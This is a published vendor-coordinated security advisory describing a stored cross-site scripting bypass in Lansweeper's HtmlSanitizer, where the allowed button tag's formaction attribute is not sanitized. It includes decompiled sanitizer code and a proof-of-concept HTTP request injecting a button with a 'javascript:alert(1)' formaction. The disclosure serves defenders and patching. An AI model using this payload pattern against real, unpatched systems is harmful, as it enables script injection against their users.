Talos Vulnerability Report

TALOS-2022-1541

Lansweeper lansweeper SanitizeHtml cross-site scripting (XSS) vulnerability

December 1, 2022
CVE Number

CVE-2022-32763

SUMMARY

A cross-site scripting (xss) sanitization vulnerability bypass exists in the SanitizeHtml functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Lansweeper lansweeper 10.1.1.0

PRODUCT URLS

lansweeper - https://www.lansweeper.com/

CVSSv3 SCORE

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-184 - Incomplete Blacklist

DETAILS

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.

Lansweeper developers allow users to use certain html tags together with chosen attributes in content added/created by users, e.g. News, Ticket text, etc. To avoid malicious XSS attacks, data which might contain such code is sanitized before being added to the page content. We can see such a sanitization example in the widget responsible for News presentation:

Line 1 	\App_Web_2mmqsorv\ASP\widgets_helpdesknews_aspx.cs
Line 2 			
Line 3 			Dictionary<int, News> dictionary = (from row in NewsController.GetClonedCachedNews().AsEnumerable()
Line 4 				where row.value.Enabled
Line 5 				select row).ToDictionary((KeyValuePair<int, News> row) => row.Key, (KeyValuePair<int, News> row) => row.Value);
Line 6 			if (dictionary.Values.Count > 0)
Line 7 			{
Line 8 				__w.Write("\r\n        <div id=\"news\" style=\"overflow: auto; line-height: normal;\">\r\n            <div>\r\n                <table>\r\n                    <tbody>\r\n                        ");
Line 9 				foreach (News objNews in dictionary.objNewss)
Line 10				{
Line 11					__w.Write("\r\n                                <tr>\r\n                                    <td valign=\"top\">\r\n                                        ");
Line 12					if (objNews.Type != 5)
Line 13					{
Line 14						__w.Write("\r\n                                            <img alt=\"\" src=\"");
Line 15						__w.Write(General.PathPrefix());
Line 16						__w.Write("images/p");
Line 17						__w.Write(HttpUtility.HtmlEncode(objNews.Type));
Line 18						__w.Write(".png\"/>\r\n                                        ");
Line 19					}
Line 20					__w.Write("\r\n                                    </td>\r\n                                    <td width=\"100%\">");
Line 21					__w.Write(HtmlSanitizer.SanitizeHtml(objNews.GetTextTranslation(LS.User.Current().Lang)));
Line 22					__w.Write("</td>\r\n                                </tr>\r\n                        ");
Line 23				}
Line 24				__w.Write("\r\n                    </tbody>\r\n                </table>\r\n            </div>\r\n        </div>  \r\n    ");
Line 25			}

as we can see in line 21 before news text is written to the page content, it’s being sanitized by HtmlSanitizer.SanitizeHtml method. Let us take a look at HtmlSanitizer class implementation:

Line 1 	LS\Extensions\HtmlSanitizer\HtmlSanitizer.cs
Line 2 	(...)
Line 3 			public static HtmlSanitizer CustomHtmlSanitizer()
Line 4 			{
Line 5 				HtmlSanitizer htmlSanitizer = new HtmlSanitizer();
Line 6 				string text = "width height style align valign";
Line 7 				string[] array = new string[58]
Line 8 				{
Line 9 					"h1", "h2", "h3", "h3", "h4", "h5", "h6", "strong", "b", "i",
Line 10					"em", "thead", "tbody", "tr", "br", "p", "div", "span", "ul", "u",
Line 11					"pre", "sub", "sup", "strike", "hr", "center", "dl", "dt", "dd", "abbr",
Line 12					"address", "article", "aside", "bdi", "canvas", "caption", "cite", "code", "col", "colgroup",
Line 13					"datalist", "dfn", "figcaption", "footer", "header", "kbd", "mark", "nav", "noscript", "picture",
Line 14					"summary", "s", "samp", "section", "small", "tfoot", "var", "wbr"
Line 15				};
Line 16				foreach (string tagName in array)
Line 17				{
Line 18					htmlSanitizer.Tag(tagName).AllowAttributes(text);
Line 19				}
Line 20				htmlSanitizer.Tag("img").AllowAttributes(text + " src title alt crossorigin ismap longdesc usemap");
Line 21				htmlSanitizer.Tag("table").AllowAttributes(text + " border cellpadding cellspacing rules sortable summary");
Line 22				htmlSanitizer.Tag("td").AllowAttributes(text + " colspan rowspan headers");
Line 23				htmlSanitizer.Tag("ol").AllowAttributes(text + " start reversed type");
Line 24				htmlSanitizer.Tag("font").AllowAttributes(text + " color face size");
Line 25				htmlSanitizer.Tag("a").AllowAttributes(text + " href dowload hreflang media media_query rel target type").RemoveEmpty();
Line 26				htmlSanitizer.Tag("video").AllowAttributes(text + " controls autoplay loop muted poster preload src");
Line 27				htmlSanitizer.Tag("source").AllowAttributes(text + " src type media");
Line 28				htmlSanitizer.Tag("map").AllowAttributes(text + " name");
Line 29				htmlSanitizer.Tag("area").AllowAttributes(text + " alt coords download href hreflang media rel shape target type");
Line 30				htmlSanitizer.Tag("audio").AllowAttributes(text + " autoplay controls loop muted preload src");
Line 31				htmlSanitizer.Tag("bdo").AllowAttributes(text + " dir");
Line 32				htmlSanitizer.Tag("blockquote").AllowAttributes(text + " cite");
Line 33				htmlSanitizer.Tag("button").AllowAttributes(text + " autofocus disabled form formaction formenctype formmethod formnovalidate formtarget name type value");
Line 34				htmlSanitizer.Tag("del").AllowAttributes(text + " cite datetime");
Line 35				htmlSanitizer.Tag("ins").AllowAttributes(text + " cite datetime");
Line 36				htmlSanitizer.Tag("details").AllowAttributes(text + " open");
Line 37				htmlSanitizer.Tag("dialog").AllowAttributes(text + " open");
Line 38				htmlSanitizer.Tag("label").AllowAttributes(text + " for");
Line 39				htmlSanitizer.Tag("li").AllowAttributes(text + " value");
Line 40				htmlSanitizer.Tag("map").AllowAttributes(text + " name");
Line 41				htmlSanitizer.Tag("menu").AllowAttributes(text + " label type");
Line 42				htmlSanitizer.Tag("menuitem").AllowAttributes(text + " checked command default disabled icon label type");
Line 43				htmlSanitizer.Tag("q").AllowAttributes(text + " cite");
Line 44				htmlSanitizer.Tag("th").AllowAttributes(text + " abbr colspan headers rowspan scope sorted");
Line 45				htmlSanitizer.Tag("time").AllowAttributes(text + " datetime");
Line 46				htmlSanitizer.Tag("track").AllowAttributes(text + " default kind label src srclang");
Line 47				htmlSanitizer.RemoveComments = true;
Line 48				htmlSanitizer.ForbiddenElements.Add("script");
Line 49				htmlSanitizer.ForbiddenElements.Add("style");
Line 50				htmlSanitizer.TransformLinks = true;
Line 51				return htmlSanitizer;
Line 52			}
Line 53
Line 54			public static string SanitizeHtml(string html, params string[] WhiteList)
Line 55			{
Line 56				string text = "";
Line 57				try
Line 58				{
Line 59					text = new SimpleHtmlParser().ParseString(html).OuterXml;
Line 60				}
Line 61				catch (Exception ex)
Line 62				{
Line 63					ErrorLogging.LogToFile(ex, "Parser error");
Line 64					text = html;
Line 65				}
Line 66				text = CustomHtmlSanitizer().Sanitize(text);
Line 67				HtmlDocument htmlDocument = new HtmlDocument();
Line 68				htmlDocument.LoadHtml(text);
Line 69				SanitizeCss(htmlDocument.DocumentNode);
Line 70				if (htmlDocument.DocumentNode.ChildNodes.Count == 0 || htmlDocument.DocumentNode.ChildNodes.Count > 1)
Line 71				{
Line 72					return "<div style=\"font:12px Arial,Verdana;font-size:12px;font-family:Arial,Verdana;\">" + htmlDocument.DocumentNode.InnerHtml.Trim() + "</div>";
Line 73				}
Line 74				return htmlDocument.DocumentNode.InnerHtml.Trim();
Line 75			}
Line 76	(...)

That’s of course just a part of this class, but we can observe more or less what the assumptions are, etc. This class contains a list of allowed html tags and their attributes the user might use in the text. There are also additional checks for particular attributes (for example, for href where developers check whether it does not start with a schema different than “http/https”). Unfortunately developers allow a tag like button with its attribute formaction and do not sanitize it at all. This gives a potential attacker the possibility to inject malicious javascript code, which will be triggered after the user clicks the button.

Exploit Proof of Concept

REQUEST POST /configuration/MainPage/MainPageActions.aspx?action=editnews&id=3 HTTP/1.1 Host: 192.168.0.102:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: / Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 438 Origin: http://192.168.0.102:81 Connection: close Referer: http://192.168.0.102:81/configuration/MainPage/ Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=;

__VIEWSTATE=&editnewstext=<button style="width: 500px;height:500px" form="formc" formaction="javascript:alert(1)">click me</button>&newsid=3

RESPONSE HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/8.0 x-frame-options: SAMEORIGIN X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 09 Jun 2022 10:15:53 GMT Connection: close Content-Length: 150

{"ErrorType":"","Error":false,"Emsg":"","AddedRows":[],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":{},"ReturnValue":"","ReturnObject":null}
TIMELINE

2022-06-27 - Vendor Disclosure
2022-11-29 - Vendor Patch Release
2022-12-01 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.